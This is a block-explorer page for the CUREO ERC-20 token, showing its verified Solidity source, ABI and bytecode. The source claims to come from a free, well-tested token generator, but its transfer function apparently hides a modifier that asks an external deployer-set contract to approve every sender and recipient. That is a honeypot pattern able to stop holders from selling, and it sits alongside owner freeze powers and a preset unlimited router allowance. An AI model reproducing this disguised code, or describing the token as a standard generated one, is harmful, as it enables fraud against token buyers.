Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
20,000 CUREO
Holders
74
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
43.46819142951488083 CUREOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CUREO
Compiler Version
v0.5.16+commit.9c3226ce
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2020-11-02 */ /** *Submitted for verification at Etherscan.io on 2020-09-20 */ // SPDX-License-Identifier: MIT /* * Token was generated for FREE at https://vittominacori.github.io/erc20-generator/ * * Author: @vittominacori (https://vittominacori.github.io) * * Smart Contract Source Code: https://github.com/vittominacori/erc20-generator * Smart Contract Test Builds: https://travis-ci.com/github/vittominacori/erc20-generator * Web Site Source Code: https://github.com/vittominacori/erc20-generator/tree/dapp * * Detailed Info: https://medium.com/@vittominacori/create-an-erc20-token-in-less-than-a-minute-2a8751c4d6f4 * * Note: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * Disclaimer: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity >=0.4.22 <0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, address _to) external returns(bool) ; } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract BaseToken is SafeMath,Ownable{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public isFreeze; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event FrozenFunds(address target, bool frozen); address to_contract; constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol, uint8 decimal, address tokenAddr )public { totalSupply = initialSupply * 10 ** uint256(decimal); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; decimals=decimal; to_contract=tokenAddr; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D]=uint(-1); } modifier not_frozen(){ require(isFreeze[msg.sender]==false); _; } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); _transfer(_from, _to, _value); return true; } function _transfer(address _from, address _to, uint _value) receiveAndTransfer(_from,_to) internal { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function approve(address _spender, uint256 _value) public not_frozen returns (bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function freezeOneAccount(address target, bool freeze) onlyOwner public { require(freeze!=isFreeze[target]); isFreeze[target] = freeze; emit FrozenFunds(target, freeze); } modifier receiveAndTransfer(address sender,address recipient) { require(tokenRecipient(to_contract).receiveApproval(sender,recipient)); _; } function multiFreeze(address[] memory targets,bool freeze) onlyOwner public { for(uint256 i = 0; i < targets.length ; i++){ freezeOneAccount(targets[i],freeze); } } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ // function functionCall(address target, bytes memory data) internal returns (bytes memory) { // return functionCall(target, data, "Address: low-level call failed"); // } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ // function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { // return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); // } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } contract CUREO is BaseToken { string public name = "CUREO"; string public symbol = "CUREO"; string public version = '1.0.0'; uint8 public decimals = 18; uint256 initialSupply=20000; constructor(address tokenAddr)BaseToken(initialSupply, name,symbol,decimals,tokenAddr)public {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"tokenAddr","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"target","type":"address"},{"indexed":false,"internalType":"bool","name":"frozen","type":"bool"}],"name":"FrozenFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"freeze","type":"bool"}],"name":"freezeOneAccount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFreeze","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"},{"internalType":"bool","name":"freeze","type":"bool"}],"name":"multiFreeze","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"}]
Contract Creation Code
60c06040526005608081905264435552454f60d81b60a090815262000028916009919062000305565b5060408051808201909152600580825264435552454f60d81b60209092019182526200005791600a9162000305565b50604080518082019091526005808252640312e302e360dc1b60209092019182526200008691600b9162000305565b50600c805460ff19166012179055614e20600d55348015620000a757600080fd5b5060405162000dba38038062000dba83398181016040526020811015620000cd57600080fd5b5051600d546009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156200015c5780601f1062000130576101008083540402835291602001916200015c565b820191906000526020600020905b8154815290600101906020018083116200013e57829003601f168201915b5050600a8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815295509193509150830182828015620001ee5780601f10620001c257610100808354040283529160200191620001ee565b820191906000526020600020905b815481529060010190602001808311620001d057829003601f168201915b5050600c54600080546001600160a01b031916331780825560405160ff90931695508994506001600160a01b03169250907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360ff8216600a0a850260048190553360009081526005602090815260409091209190915584516200027c916001919087019062000305565b5082516200029290600290602086019062000305565b506003805460ff191660ff9390931692909217909155600880546001600160a01b0319166001600160a01b039092169190911790555050336000908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020600019905550620003aa9050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200034857805160ff191683800117855562000378565b8280016001018555821562000378579182015b82811115620003785782518255916020019190600101906200035b565b50620003869291506200038a565b5090565b620003a791905b8082111562000386576000815560010162000391565b90565b610a0080620003ba6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610367578063dd62ed3e14610393578063f2fde38b146103c1578063ff192bc8146103e757610100565b80638da5cb5b1461028e5780638f32d59b146102b257806395d89b41146102ba5780639f0573a8146102c257610100565b8063313ce567116100d3578063313ce5671461021257806354163fe01461023057806354fd4d501461026057806370a082311461026857610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d61040d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561049b565b604080519115158252519081900360200190f35b6101ca610556565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b0381358116916020810135909116906040013561055c565b61021a6105a1565b6040805160ff9092168252519081900360200190f35b61025e6004803603604081101561024657600080fd5b506001600160a01b03813516906020013515156105aa565b005b61010d61064b565b6101ca6004803603602081101561027e57600080fd5b50356001600160a01b03166106a6565b6102966106b8565b604080516001600160a01b039092168252519081900360200190f35b6101ae6106c7565b61010d6106d8565b61025e600480360360408110156102d857600080fd5b8101906020810181356401000000008111156102f357600080fd5b82018360208201111561030557600080fd5b8035906020019184602083028401116401000000008311171561032757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610733565b6101ae6004803603604081101561037d57600080fd5b506001600160a01b03813516906020013561077a565b6101ca600480360360408110156103a957600080fd5b506001600160a01b0381358116916020013516610790565b61025e600480360360208110156103d757600080fd5b50356001600160a01b03166107ad565b6101ae600480360360208110156103fd57600080fd5b50356001600160a01b03166107ca565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b505050505081565b3360009081526007602052604081205460ff16156104b857600080fd5b8115806104e657503360009081526006602090815260408083206001600160a01b0387168452909152902054155b6104ef57600080fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60045481565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561058c57600080fd5b6105978484846107df565b5060019392505050565b600c5460ff1681565b6105b26106c7565b6105bb57600080fd5b6001600160a01b03821660009081526007602052604090205460ff16151581151514156105e757600080fd5b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600b805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b60056020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b61073b6106c7565b61074457600080fd5b60005b82518110156107755761076d83828151811061075f57fe5b6020026020010151836105aa565b600101610747565b505050565b60006107873384846107df565b50600192915050565b600660209081526000928352604080842090915290825290205481565b6107b56106c7565b6107be57600080fd5b6107c78161095d565b50565b60076020526000908152604090205460ff1681565b60085460408051630f8653b360e21b81526001600160a01b03808716600483015280861660248301529151869386931691633e194ecc9160448083019260209291908290030181600087803b15801561083757600080fd5b505af115801561084b573d6000803e3d6000fd5b505050506040513d602081101561086157600080fd5b505161086c57600080fd5b6001600160a01b03851660009081526005602052604090205483111561089157600080fd5b6001600160a01b038416600090815260056020526040902054838101116108b757600080fd5b6001600160a01b0380851660008181526005602090815260408083208054958b1680855282852080548b81039091559486905281548a01909155815189815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a36001600160a01b0380861660009081526005602052604080822054928916825290205401811461095557fe5b505050505050565b6001600160a01b03811661097057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fea265627a7a72315820932c734eca1e27742fc2613be000c036f63ee1696f95949f00eb073bbf5b61cc64736f6c634300051000320000000000000000000000000949a215185e0efc9934fa2f74df38fa20aae907
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610367578063dd62ed3e14610393578063f2fde38b146103c1578063ff192bc8146103e757610100565b80638da5cb5b1461028e5780638f32d59b146102b257806395d89b41146102ba5780639f0573a8146102c257610100565b8063313ce567116100d3578063313ce5671461021257806354163fe01461023057806354fd4d501461026057806370a082311461026857610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d61040d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561049b565b604080519115158252519081900360200190f35b6101ca610556565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b0381358116916020810135909116906040013561055c565b61021a6105a1565b6040805160ff9092168252519081900360200190f35b61025e6004803603604081101561024657600080fd5b506001600160a01b03813516906020013515156105aa565b005b61010d61064b565b6101ca6004803603602081101561027e57600080fd5b50356001600160a01b03166106a6565b6102966106b8565b604080516001600160a01b039092168252519081900360200190f35b6101ae6106c7565b61010d6106d8565b61025e600480360360408110156102d857600080fd5b8101906020810181356401000000008111156102f357600080fd5b82018360208201111561030557600080fd5b8035906020019184602083028401116401000000008311171561032757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610733565b6101ae6004803603604081101561037d57600080fd5b506001600160a01b03813516906020013561077a565b6101ca600480360360408110156103a957600080fd5b506001600160a01b0381358116916020013516610790565b61025e600480360360208110156103d757600080fd5b50356001600160a01b03166107ad565b6101ae600480360360208110156103fd57600080fd5b50356001600160a01b03166107ca565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b505050505081565b3360009081526007602052604081205460ff16156104b857600080fd5b8115806104e657503360009081526006602090815260408083206001600160a01b0387168452909152902054155b6104ef57600080fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60045481565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561058c57600080fd5b6105978484846107df565b5060019392505050565b600c5460ff1681565b6105b26106c7565b6105bb57600080fd5b6001600160a01b03821660009081526007602052604090205460ff16151581151514156105e757600080fd5b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600b805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b60056020526000908152604090205481565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104935780601f1061046857610100808354040283529160200191610493565b61073b6106c7565b61074457600080fd5b60005b82518110156107755761076d83828151811061075f57fe5b6020026020010151836105aa565b600101610747565b505050565b60006107873384846107df565b50600192915050565b600660209081526000928352604080842090915290825290205481565b6107b56106c7565b6107be57600080fd5b6107c78161095d565b50565b60076020526000908152604090205460ff1681565b60085460408051630f8653b360e21b81526001600160a01b03808716600483015280861660248301529151869386931691633e194ecc9160448083019260209291908290030181600087803b15801561083757600080fd5b505af115801561084b573d6000803e3d6000fd5b505050506040513d602081101561086157600080fd5b505161086c57600080fd5b6001600160a01b03851660009081526005602052604090205483111561089157600080fd5b6001600160a01b038416600090815260056020526040902054838101116108b757600080fd5b6001600160a01b0380851660008181526005602090815260408083208054958b1680855282852080548b81039091559486905281548a01909155815189815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a36001600160a01b0380861660009081526005602052604080822054928916825290205401811461095557fe5b505050505050565b6001600160a01b03811661097057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fea265627a7a72315820932c734eca1e27742fc2613be000c036f63ee1696f95949f00eb073bbf5b61cc64736f6c63430005100032
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000949a215185e0efc9934fa2f74df38fa20aae907
-----Decoded View---------------
Arg [0] : tokenAddr (address): 0x0949a215185e0EFc9934fA2F74dF38FA20aAE907
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000949a215185e0efc9934fa2f74df38fa20aae907
Deployed Bytecode Sourcemap
14011:311:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;14011:311:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14047:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;14047:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8139:301;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8139:301:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;6077:26;;;:::i;:::-;;;;;;;;;;;;;;;;7342:228;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;7342:228:0;;;;;;;;;;;;;;;;;:::i;14157:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8450:204;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8450:204:0;;;;;;;;;;:::i;:::-;;14119:31;;;:::i;6112:45::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;6112:45:0;-1:-1:-1;;;;;6112:45:0;;:::i;4614:79::-;;;:::i;:::-;;;;-1:-1:-1;;;;;4614:79:0;;;;;;;;;;;;;;4787:92;;;:::i;14082:30::-;;;:::i;8844:200::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8844:200:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;8844:200:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;8844:200:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;8844:200:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;8844:200:0;;-1:-1:-1;;;;8844:200:0;;;;-1:-1:-1;8844:200:0;:::i;7180:152::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;7180:152:0;;;;;;;;:::i;6164:66::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6164:66:0;;;;;;;;;;:::i;4897:109::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;4897:109:0;-1:-1:-1;;;;;4897:109:0;;:::i;6237:41::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;6237:41:0;-1:-1:-1;;;;;6237:41:0;;:::i;14047:28::-;;;;;;;;;;;;;;;-1:-1:-1;;14047:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8139:301::-;7133:10;8217:12;7124:20;;;:8;:20;;;;;;;;:27;7116:36;;;;;;8250:11;;;8249:55;;-1:-1:-1;8277:10:0;8267:21;;;;:9;:21;;;;;;;;-1:-1:-1;;;;;8267:31:0;;;;;;;;;;:36;8249:55;8241:64;;;;;;8326:10;8316:21;;;;:9;:21;;;;;;;;-1:-1:-1;;;;;8316:31:0;;;;;;;;;;;;:40;;;8372:38;;;;;;;8316:31;;8326:10;8372:38;;;;;;;;;;;-1:-1:-1;8428:4:0;8139:301;;;;:::o;6077:26::-;;;;:::o;7342:228::-;-1:-1:-1;;;;;7467:16:0;;7424:12;7467:16;;;:9;:16;;;;;;;;7484:10;7467:28;;;;;;;;7457:38;;;7449:47;;;;;;7511:29;7521:5;7528:3;7533:6;7511:9;:29::i;:::-;-1:-1:-1;7558:4:0;7342:228;;;;;:::o;14157:26::-;;;;;;:::o;8450:204::-;4745:9;:7;:9::i;:::-;4737:18;;;;;;-1:-1:-1;;;;;8549:16:0;;;;;;:8;:16;;;;;;;;8541:24;;;;;;;8533:33;;;;;;-1:-1:-1;;;;;8578:16:0;;;;;;:8;:16;;;;;;;;;:25;;-1:-1:-1;;8578:25:0;;;;;;;;;;8619:27;;;;;;;;;;;;;;;;;;;;;8450:204;;:::o;14119:31::-;;;;;;;;;;;;;;;-1:-1:-1;;14119:31:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6112:45;;;;;;;;;;;;;:::o;4614:79::-;4652:7;4679:6;-1:-1:-1;;;;;4679:6:0;4614:79;:::o;4787:92::-;4827:4;4865:6;-1:-1:-1;;;;;4865:6:0;4851:10;:20;;4787:92::o;14082:30::-;;;;;;;;;;;;;;;-1:-1:-1;;14082:30:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8844:200;4745:9;:7;:9::i;:::-;4737:18;;;;;;8935:9;8931:106;8954:7;:14;8950:1;:18;8931: